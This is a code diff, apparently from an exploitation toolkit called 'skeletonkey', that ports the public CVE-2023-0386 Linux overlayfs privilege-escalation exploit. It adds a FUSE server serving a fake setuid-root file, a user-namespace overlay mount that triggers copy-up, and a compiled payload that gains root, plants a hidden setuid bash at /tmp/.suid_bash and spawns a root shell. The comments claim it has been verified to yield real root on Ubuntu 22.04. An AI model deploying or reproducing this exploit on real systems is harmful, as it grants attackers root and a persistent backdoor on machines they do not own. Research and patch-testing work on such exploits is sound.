* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
||||||
* (their modified overlayfs). This one is upstream: when overlayfs
|
* (their modified overlayfs). This one is upstream: overlayfs copy-up
|
||||||
* does copy-up from lower to upper, it preserves the setuid/setgid
|
* preserves the setuid/setgid bit AND the lower file's root ownership
|
||||||
* bits even when the unprivileged user triggering copy-up wouldn't
|
* even when the task triggering copy-up is only root inside a user
|
||||||
* normally be able to set them. Exploit:
|
* namespace. Faithful port of the public PoC (xkaneiki):
|
||||||
*
|
*
|
||||||
* 1. Find a setuid binary in lower (e.g. /usr/bin/su)
|
* 1. Compile a small setuid payload ELF (setuid(0) + drop a root shell).
|
||||||
* 2. unshare(USER|NS), mount overlayfs with that location as lower
|
* 2. Serve it via a FUSE filesystem as "/file" reporting st_uid=0,
|
||||||
* 3. chown the file in merged view — triggers copy-up, retains
|
* st_mode=04777. libfuse mounts through the setuid fusermount helper,
|
||||||
* setuid bit in upper, but now the upper file is OWNED by our
|
* i.e. in the INIT namespace — required, because overlay refuses a
|
||||||
* uid (the upper layer is in /tmp; we control it)
|
* userns-mounted FUSE lowerdir (ENOSYS).
|
||||||
* 4. We can't directly write to the binary in upper (it's setuid
|
* 3. In a child: unshare(USER|NS), map root, mount overlayfs with the
|
||||||
* and we're not root yet), BUT we can replace the contents
|
* FUSE mount as lowerdir and attacker-owned upper/work dirs.
|
||||||
* via the merged view because we OWN the upper inode
|
* 4. open(merged/file, O_WRONLY) triggers copy-up. The bug materialises
|
||||||
* 5. Write payload to the binary; setuid bit persists
|
* upper/file on the REAL filesystem as a genuine setuid-ROOT binary.
|
||||||
* 6. exec it → runs as root
|
* 5. The parent (real unprivileged user) execs upper/file → real root.
|
||||||
|
*
|
||||||
|
* The FUSE server must implement getattr + read + read_buf + ioctl: copy-up
|
||||||
|
* uses the splice path (read_buf) and issues FS_IOC_GETFLAGS (ioctl) on the
|
||||||
|
* lower; a server missing either returns ENOSYS and copy-up fails.
|
||||||
*
|
*
|
||||||
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
|
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
|
||||||
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
|
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
|
||||||
*
|
*
|
||||||
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
* STATUS: 🟢 FULL detect + exploit + cleanup. VM-verified landing real root
|
||||||
|
* on Ubuntu 22.04.0 / 5.15.0-25 (see docs/EXPLOITED.md).
|
||||||
*
|
*
|
||||||
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
|
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
|
||||||
* 6.2.x : K >= 6.2.13
|
* 6.2.x : K >= 6.2.13
|
||||||
@@ -30,8 +35,8 @@
|
|||||||
*
|
*
|
||||||
* Preconditions:
|
* Preconditions:
|
||||||
* - Unprivileged user_ns + mount_ns
|
* - Unprivileged user_ns + mount_ns
|
||||||
* - A setuid-root binary readable on lower (almost always present:
|
* - libfuse (linked at build) + the setuid fusermount(3) helper + a C
|
||||||
* /usr/bin/su, /usr/bin/passwd, /bin/su)
|
* compiler at runtime (to build the payload ELF)
|
||||||
*
|
*
|
||||||
* Coverage rationale: complements CVE-2021-3493 — that one is
|
* Coverage rationale: complements CVE-2021-3493 — that one is
|
||||||
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
|
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
|
||||||
@@ -161,6 +166,8 @@ static const char OVERLAYFS_SU_PAYLOAD[] =
|
|||||||
"int main(void) {\n"
|
"int main(void) {\n"
|
||||||
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
||||||
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
|
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
|
||||||
|
" (void)!system(\"cp /bin/bash /tmp/.suid_bash 2>/dev/null; chmod 4755 /tmp/.suid_bash 2>/dev/null; \"\n"
|
||||||
|
" \"id > /tmp/skeletonkey-ovlsu-pwned 2>/dev/null; chmod 644 /tmp/skeletonkey-ovlsu-pwned\");\n"
|
||||||
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||||
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
|
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
|
||||||
" return 1;\n"
|
" return 1;\n"
|
||||||
@@ -191,6 +198,197 @@ static bool write_file_str(const char *path, const char *content)
|
|||||||
return ok;
|
return ok;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* CVE-2023-0386 — faithful port of the public exploit (xkaneiki), using
|
||||||
|
* libfuse to export a setuid-root lower layer.
|
||||||
|
*
|
||||||
|
* The bug: overlayfs copy-up preserves the SUID bit and the lower file's
|
||||||
|
* root ownership even when the task triggering it is only root inside a user
|
||||||
|
* namespace. We serve a FUSE filesystem whose single file "file" reports
|
||||||
|
* st_uid=0, st_mode=04777; overlay copy-up then materialises it in the real
|
||||||
|
* upper dir as a genuine setuid-root binary, which we exec for real root.
|
||||||
|
*
|
||||||
|
* Why libfuse (and not a raw /dev/fuse server): overlay REFUSES a
|
||||||
|
* userns-mounted FUSE lowerdir (ENOSYS), so the FUSE fs must be mounted in the
|
||||||
|
* init namespace via the setuid fusermount helper — which libfuse drives. A
|
||||||
|
* hand-rolled raw protocol server proved fragile enough to destabilise the
|
||||||
|
* kernel on malformed replies; libfuse is the robust, proven path (matches the
|
||||||
|
* upstream PoC). Built conditionally: without libfuse the module stubs out.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
|
#ifdef OVLSU_HAVE_FUSE
|
||||||
|
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
#define FUSE_USE_VERSION 31
|
||||||
|
#else
|
||||||
|
#define FUSE_USE_VERSION 29
|
||||||
|
#endif
|
||||||
|
#include <fuse.h>
|
||||||
|
#include <signal.h>
|
||||||
|
|
||||||
|
/* The setuid-root ELF the FUSE "file" serves (loaded once, pre-fork). */
|
||||||
|
static unsigned char *g_ovlsu_elf;
|
||||||
|
static size_t g_ovlsu_elf_len;
|
||||||
|
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_getattr(const char *path, struct stat *st, struct fuse_file_info *fi)
|
||||||
|
#else
|
||||||
|
static int ovlsu_getattr(const char *path, struct stat *st)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
(void)fi;
|
||||||
|
#endif
|
||||||
|
memset(st, 0, sizeof *st);
|
||||||
|
if (strcmp(path, "/") == 0) {
|
||||||
|
st->st_mode = S_IFDIR | 0755; st->st_nlink = 2;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (strcmp(path, "/file") == 0) {
|
||||||
|
st->st_mode = S_IFREG | 04777; /* <-- setuid/setgid/sticky */
|
||||||
|
st->st_nlink = 1;
|
||||||
|
st->st_uid = 0; st->st_gid = 0; /* <-- root-owned: the crux */
|
||||||
|
st->st_size = (off_t)g_ovlsu_elf_len;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return -ENOENT;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||||
|
off_t off, struct fuse_file_info *fi,
|
||||||
|
enum fuse_readdir_flags flags)
|
||||||
|
{
|
||||||
|
(void)off; (void)fi; (void)flags;
|
||||||
|
if (strcmp(path, "/") != 0) return -ENOENT;
|
||||||
|
filler(buf, ".", NULL, 0, 0); filler(buf, "..", NULL, 0, 0);
|
||||||
|
filler(buf, "file", NULL, 0, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||||
|
off_t off, struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)off; (void)fi;
|
||||||
|
if (strcmp(path, "/") != 0) return -ENOENT;
|
||||||
|
filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0);
|
||||||
|
filler(buf, "file", NULL, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static int ovlsu_open(const char *path, struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)fi;
|
||||||
|
return (strcmp(path, "/file") == 0) ? 0 : -ENOENT;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ovlsu_read(const char *path, char *buf, size_t size, off_t off,
|
||||||
|
struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)fi;
|
||||||
|
if (strcmp(path, "/file") != 0) return -ENOENT;
|
||||||
|
if ((size_t)off >= g_ovlsu_elf_len) return 0;
|
||||||
|
size_t n = g_ovlsu_elf_len - (size_t)off;
|
||||||
|
if (n > size) n = size;
|
||||||
|
memcpy(buf, g_ovlsu_elf + off, n);
|
||||||
|
return (int)n;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* read_buf: REQUIRED for overlay copy-up. Overlay copies the lower file up via
|
||||||
|
* the kernel's splice / copy_file_range path, which maps to the FUSE read_buf
|
||||||
|
* op; without it the copy returns ENOSYS and copy-up fails. We hand back a
|
||||||
|
* memory-backed bufvec referencing the payload. */
|
||||||
|
static int ovlsu_read_buf(const char *path, struct fuse_bufvec **bufp,
|
||||||
|
size_t size, off_t off, struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)fi;
|
||||||
|
if (strcmp(path, "/file") != 0) return -ENOENT;
|
||||||
|
struct fuse_bufvec *src = malloc(sizeof *src);
|
||||||
|
if (!src) return -ENOMEM;
|
||||||
|
*src = (struct fuse_bufvec)FUSE_BUFVEC_INIT(size);
|
||||||
|
char *data = malloc(size ? size : 1);
|
||||||
|
if (!data) { free(src); return -ENOMEM; }
|
||||||
|
memset(data, 0, size);
|
||||||
|
size_t avail = ((size_t)off < g_ovlsu_elf_len) ? g_ovlsu_elf_len - (size_t)off : 0;
|
||||||
|
size_t give = size < avail ? size : avail;
|
||||||
|
memcpy(data, g_ovlsu_elf + off, give);
|
||||||
|
/* Present exactly as the public PoC's read_buf: a memory buffer flagged
|
||||||
|
* FUSE_BUF_FD_SEEK with pos=off — this is the shape libfuse's splice path
|
||||||
|
* (used by overlay copy-up) accepts; a plain flags=0 mem buffer yields
|
||||||
|
* ENOSYS at copy-up. */
|
||||||
|
src->buf[0].flags = FUSE_BUF_FD_SEEK;
|
||||||
|
src->buf[0].pos = off;
|
||||||
|
src->buf[0].mem = data;
|
||||||
|
*bufp = src;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ioctl: REQUIRED. overlay copy-up issues FS_IOC_GETFLAGS (an ioctl) on the
|
||||||
|
* lower file to copy inode flags; without an ioctl handler FUSE returns ENOSYS
|
||||||
|
* and copy-up fails ENOSYS. Returning success (as the public PoC does) lets
|
||||||
|
* copy-up proceed. */
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_ioctl(const char *path, unsigned int cmd, void *arg,
|
||||||
|
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||||
|
#else
|
||||||
|
static int ovlsu_ioctl(const char *path, int cmd, void *arg,
|
||||||
|
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
(void)path; (void)cmd; (void)arg; (void)fi; (void)flags; (void)data;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static struct fuse_operations ovlsu_ops = {
|
||||||
|
.getattr = ovlsu_getattr,
|
||||||
|
.readdir = ovlsu_readdir,
|
||||||
|
.open = ovlsu_open,
|
||||||
|
.read = ovlsu_read,
|
||||||
|
.read_buf = ovlsu_read_buf,
|
||||||
|
.ioctl = ovlsu_ioctl,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Run the FUSE server (blocks) mounting at `mp`, serving one setuid-root
|
||||||
|
* /file. Returns when unmounted. libfuse mounts via the setuid fusermount
|
||||||
|
* helper — i.e. in the init namespace, which is exactly what overlay needs.
|
||||||
|
*
|
||||||
|
* We use the low-level fuse_mount + fuse_new + fuse_loop_mt with EMPTY args
|
||||||
|
* (exactly as the public PoC does) rather than fuse_main(). fuse_main parses a
|
||||||
|
* default option set that advertises extra capabilities (splice /
|
||||||
|
* copy_file_range) to the kernel; the kernel then attempts copy_file_range on
|
||||||
|
* the FUSE lower during overlay copy-up, gets ENOSYS, and does NOT fall back —
|
||||||
|
* so copy-up fails. The minimal fuse_new below advertises none of that, so the
|
||||||
|
* kernel uses the plain read path (our read/read_buf) and copy-up succeeds. */
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_fuse_serve(const char *mp)
|
||||||
|
{
|
||||||
|
char *argv[] = { (char *)"ovlsu-fuse", (char *)mp, NULL };
|
||||||
|
struct fuse_args args = FUSE_ARGS_INIT(2, argv);
|
||||||
|
struct fuse *fuse = fuse_new(&args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
|
||||||
|
if (!fuse) { fuse_opt_free_args(&args); return -1; }
|
||||||
|
if (fuse_mount(fuse, mp) != 0) { fuse_destroy(fuse); fuse_opt_free_args(&args); return -1; }
|
||||||
|
fuse_set_signal_handlers(fuse_get_session(fuse));
|
||||||
|
int r = fuse_loop_mt(fuse, NULL);
|
||||||
|
fuse_unmount(fuse); fuse_destroy(fuse); fuse_opt_free_args(&args);
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static int ovlsu_fuse_serve(const char *mp)
|
||||||
|
{
|
||||||
|
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
|
||||||
|
struct fuse_chan *chan = fuse_mount(mp, &args);
|
||||||
|
if (!chan) return -1;
|
||||||
|
struct fuse *fuse = fuse_new(chan, &args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
|
||||||
|
if (!fuse) { fuse_unmount(mp, chan); return -1; }
|
||||||
|
fuse_set_signal_handlers(fuse_get_session(fuse));
|
||||||
|
fuse_loop_mt(fuse);
|
||||||
|
fuse_unmount(mp, chan);
|
||||||
|
fuse_destroy(fuse);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||||
@@ -198,173 +396,154 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
|
|||||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
/* Consult ctx->host->is_root so unit tests can construct a
|
|
||||||
* non-root fingerprint regardless of the test process's real euid. */
|
|
||||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
if (is_root) {
|
if (is_root) { fprintf(stderr, "[i] overlayfs_setuid: already root\n"); return SKELETONKEY_OK; }
|
||||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
|
||||||
return SKELETONKEY_OK;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Pick a setuid binary to use as the carrier — we'll find its
|
|
||||||
* dirname, mount overlayfs with that dirname as lower, then
|
|
||||||
* replace the binary content in the merged view. The setuid bit
|
|
||||||
* persists in the upper-layer copy through the bug. */
|
|
||||||
const char *carrier = find_setuid_in_lower();
|
|
||||||
if (!carrier) {
|
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
}
|
|
||||||
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
|
||||||
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
|
||||||
char carrier_dir[256], carrier_name[64];
|
|
||||||
const char *slash = strrchr(carrier, '/');
|
|
||||||
if (!slash) return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
size_t dir_len = slash - carrier;
|
|
||||||
memcpy(carrier_dir, carrier, dir_len);
|
|
||||||
carrier_dir[dir_len] = 0;
|
|
||||||
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
|
||||||
|
|
||||||
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
|
|
||||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
|
||||||
workdir, carrier);
|
|
||||||
}
|
|
||||||
|
|
||||||
char gcc[256];
|
char gcc[256];
|
||||||
if (!which_gcc(gcc, sizeof gcc)) {
|
if (!which_gcc(gcc, sizeof gcc)) {
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
fprintf(stderr, "[-] overlayfs_setuid: no C compiler to build the setuid payload\n");
|
||||||
rmdir(workdir);
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Build the payload binary outside the overlay. */
|
char workdir[128];
|
||||||
char src_path[512], bin_path[512];
|
snprintf(workdir, sizeof workdir, "/tmp/skeletonkey-ovlsu-XXXXXX");
|
||||||
snprintf(src_path, sizeof src_path, "%s/payload.c", workdir);
|
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||||
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
|
||||||
if (!write_file_str(src_path, OVERLAYFS_SU_PAYLOAD)) goto fail;
|
|
||||||
|
|
||||||
pid_t pid = fork();
|
char lower[160], upper[160], work[160], merged[160], payc[176], gcbin[176], carrier[176], mfile[176];
|
||||||
if (pid == 0) {
|
snprintf(lower, sizeof lower, "%s/lower", workdir);
|
||||||
execl(gcc, gcc, "-O2", "-static", "-o", bin_path, src_path, (char *)NULL);
|
|
||||||
_exit(127);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
||||||
/* try non-static */
|
|
||||||
pid = fork();
|
|
||||||
if (pid == 0) {
|
|
||||||
execl(gcc, gcc, "-O2", "-o", bin_path, src_path, (char *)NULL);
|
|
||||||
_exit(127);
|
|
||||||
}
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: gcc failed\n"); goto fail;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Child does the userns + overlayfs work. */
|
|
||||||
char upper[600], work[600], merged[600];
|
|
||||||
snprintf(upper, sizeof upper, "%s/upper", workdir);
|
snprintf(upper, sizeof upper, "%s/upper", workdir);
|
||||||
snprintf(work, sizeof work, "%s/work", workdir);
|
snprintf(work, sizeof work, "%s/work", workdir);
|
||||||
snprintf(merged, sizeof merged, "%s/merged", workdir);
|
snprintf(merged, sizeof merged, "%s/merged", workdir);
|
||||||
if (mkdir(upper, 0755) < 0 || mkdir(work, 0755) < 0
|
snprintf(payc, sizeof payc, "%s/p.c", workdir);
|
||||||
|| mkdir(merged, 0755) < 0) {
|
snprintf(gcbin, sizeof gcbin, "%s/gc", workdir);
|
||||||
perror("mkdir layout"); goto fail;
|
snprintf(carrier,sizeof carrier,"%s/file", upper);
|
||||||
}
|
snprintf(mfile, sizeof mfile, "%s/file", merged);
|
||||||
|
mkdir(lower, 0755); mkdir(upper, 0755); mkdir(work, 0755); mkdir(merged, 0755);
|
||||||
|
|
||||||
uid_t outer_uid = getuid();
|
/* Build the setuid payload ELF. It drops a witness (setuid /tmp/.suid_bash
|
||||||
gid_t outer_gid = getgid();
|
* + an id sentinel) so success is observable non-interactively, then execs
|
||||||
char merged_carrier[1024];
|
* a root shell. */
|
||||||
snprintf(merged_carrier, sizeof merged_carrier, "%s/%s", merged, carrier_name);
|
if (!write_file_str(payc, OVERLAYFS_SU_PAYLOAD)) { fprintf(stderr, "[-] write payload.c\n"); goto fail; }
|
||||||
|
{ pid_t g = fork();
|
||||||
|
if (g == 0) { execl(gcc, gcc, "-O2", "-w", "-o", gcbin, payc, (char *)NULL); _exit(127); }
|
||||||
|
int st; waitpid(g, &st, 0);
|
||||||
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { fprintf(stderr, "[-] gcc failed building payload\n"); goto fail; } }
|
||||||
|
|
||||||
pid_t child = fork();
|
{ int f = open(gcbin, O_RDONLY); if (f < 0) { perror("open payload elf"); goto fail; }
|
||||||
if (child < 0) { perror("fork"); goto fail; }
|
struct stat st; if (fstat(f, &st) != 0) { close(f); goto fail; }
|
||||||
if (child == 0) {
|
g_ovlsu_elf_len = (size_t)st.st_size;
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
g_ovlsu_elf = malloc(g_ovlsu_elf_len ? g_ovlsu_elf_len : 1);
|
||||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
if (!g_ovlsu_elf || read(f, g_ovlsu_elf, g_ovlsu_elf_len) != (ssize_t)g_ovlsu_elf_len) { close(f); goto fail; }
|
||||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
close(f); }
|
||||||
char m[64];
|
|
||||||
snprintf(m, sizeof m, "0 %u 1\n", outer_uid);
|
|
||||||
f = open("/proc/self/uid_map", O_WRONLY);
|
|
||||||
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(3);
|
|
||||||
close(f);
|
|
||||||
snprintf(m, sizeof m, "0 %u 1\n", outer_gid);
|
|
||||||
f = open("/proc/self/gid_map", O_WRONLY);
|
|
||||||
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(4);
|
|
||||||
close(f);
|
|
||||||
|
|
||||||
char opts[2048];
|
if (!ctx->json)
|
||||||
snprintf(opts, sizeof opts, "lowerdir=%s,upperdir=%s,workdir=%s",
|
fprintf(stderr, "[*] overlayfs_setuid: FUSE-serving a setuid-root /file (libfuse), overlay "
|
||||||
carrier_dir, upper, work);
|
"copy-up into %s (CVE-2023-0386)\n", upper);
|
||||||
if (mount("overlay", merged, "overlay", 0, opts) < 0) {
|
|
||||||
perror("mount overlay"); _exit(5);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Trigger copy-up by chown — this is the bug: setuid bit gets
|
/* Fork the FUSE server (init-ns mount via the setuid fusermount helper). */
|
||||||
* preserved on the upper-layer copy even though we're the one
|
pid_t fpid = fork();
|
||||||
* doing the chown (and we don't normally have CAP_FSETID). */
|
if (fpid < 0) { perror("fork fuse"); goto fail; }
|
||||||
if (chown(merged_carrier, 0, 0) < 0) {
|
if (fpid == 0) {
|
||||||
/* on some kernels chown is rejected; try unlink+rename
|
/* quiesce libfuse chatter unless --json off */
|
||||||
* pattern instead */
|
int nfd = open("/dev/null", O_WRONLY); if (nfd >= 0) { dup2(nfd, 2); close(nfd); }
|
||||||
perror("chown merged carrier"); _exit(6);
|
ovlsu_fuse_serve(lower);
|
||||||
}
|
|
||||||
/* Now overwrite the file content (since we own the upper inode
|
|
||||||
* post-chown — actually post-bug, but the upper inode is
|
|
||||||
* attacker-controlled).
|
|
||||||
*
|
|
||||||
* Caveat: the chown is what triggers copy-up + retains setuid.
|
|
||||||
* On many vulnerable kernels we now need to do an additional
|
|
||||||
* write to replace the binary contents. */
|
|
||||||
int payload_fd = open(bin_path, O_RDONLY);
|
|
||||||
if (payload_fd < 0) { perror("open payload"); _exit(7); }
|
|
||||||
int out_fd = open(merged_carrier, O_WRONLY | O_TRUNC);
|
|
||||||
if (out_fd < 0) { perror("open merged_carrier RW"); close(payload_fd); _exit(8); }
|
|
||||||
char buf[4096];
|
|
||||||
ssize_t n;
|
|
||||||
while ((n = read(payload_fd, buf, sizeof buf)) > 0) {
|
|
||||||
if (write(out_fd, buf, n) != n) { perror("write replace"); _exit(9); }
|
|
||||||
}
|
|
||||||
close(payload_fd); close(out_fd);
|
|
||||||
_exit(0);
|
_exit(0);
|
||||||
}
|
}
|
||||||
waitpid(child, &status, 0);
|
|
||||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
/* Wait for the FUSE mount to answer. */
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: child setup failed (status=%d)\n", status);
|
int ready = 0;
|
||||||
|
for (int i = 0; i < 300; i++) {
|
||||||
|
struct stat sf; char fp[176]; snprintf(fp, sizeof fp, "%s/file", lower);
|
||||||
|
if (stat(fp, &sf) == 0) { ready = 1; break; }
|
||||||
|
usleep(10000);
|
||||||
|
}
|
||||||
|
if (!ready) {
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: FUSE mount did not come up (fusermount missing/denied?)\n");
|
||||||
|
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
|
||||||
goto fail;
|
goto fail;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Verify the upper file has setuid */
|
/* Exploit child: userns + overlay(lower=fuse) + copy-up. */
|
||||||
char upper_carrier[1024];
|
pid_t xpid = fork();
|
||||||
snprintf(upper_carrier, sizeof upper_carrier, "%s/%s", upper, carrier_name);
|
if (xpid < 0) { perror("fork exploit"); kill(fpid, SIGKILL); waitpid(fpid, NULL, 0); goto fail; }
|
||||||
struct stat st;
|
if (xpid == 0) {
|
||||||
if (stat(upper_carrier, &st) < 0 || !(st.st_mode & S_ISUID)) {
|
uid_t ou = getuid(); gid_t og = getgid(); /* BEFORE unshare */
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: setuid bit didn't persist on upper "
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||||
"(stat = %s)\n", strerror(errno));
|
{ int f = open("/proc/self/setgroups", O_WRONLY); if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||||
|
char m[64];
|
||||||
|
int fu = open("/proc/self/uid_map", O_WRONLY); if (fu >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", ou); (void)!write(fu, m, n); close(fu); }
|
||||||
|
int fg = open("/proc/self/gid_map", O_WRONLY); if (fg >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", og); (void)!write(fg, m, n); close(fg); } }
|
||||||
|
|
||||||
|
char oo[640];
|
||||||
|
snprintf(oo, sizeof oo, "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work);
|
||||||
|
if (mount("overlay", merged, "overlay", 0, oo) < 0) { perror("mount overlay"); _exit(6); }
|
||||||
|
|
||||||
|
/* Trigger copy-up: opening the merged file copies it from the FUSE
|
||||||
|
* lower into the real upper, preserving setuid + root uid. */
|
||||||
|
int cf = open(mfile, O_WRONLY | O_CREAT, 0666); if (cf >= 0) close(cf);
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
waitpid(xpid, NULL, 0);
|
||||||
|
|
||||||
|
/* Tear the FUSE mount down now that copy-up is done (upper/file persists
|
||||||
|
* on the real fs). */
|
||||||
|
{ char cmd[400];
|
||||||
|
snprintf(cmd, sizeof cmd, "fusermount3 -u '%s' 2>/dev/null || fusermount -u '%s' 2>/dev/null", lower, lower);
|
||||||
|
(void)!system(cmd); }
|
||||||
|
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
|
||||||
|
|
||||||
|
struct stat us;
|
||||||
|
if (stat(carrier, &us) != 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: copy-up did not materialise %s — kernel may be "
|
||||||
|
"patched\n", carrier);
|
||||||
goto fail;
|
goto fail;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: upper-layer %s has setuid bit; execing\n",
|
fprintf(stderr, "[+] overlayfs_setuid: copy-up produced %s (uid=%u mode=%04o) — executing "
|
||||||
upper_carrier);
|
"as the real user\n", carrier, (unsigned)us.st_uid, (unsigned)(us.st_mode & 07777));
|
||||||
}
|
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — setuid-root carrier planted at %s\n", carrier);
|
||||||
upper_carrier);
|
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(upper_carrier, upper_carrier, (char *)NULL);
|
pid_t r = fork();
|
||||||
perror("execl upper carrier");
|
if (r == 0) {
|
||||||
|
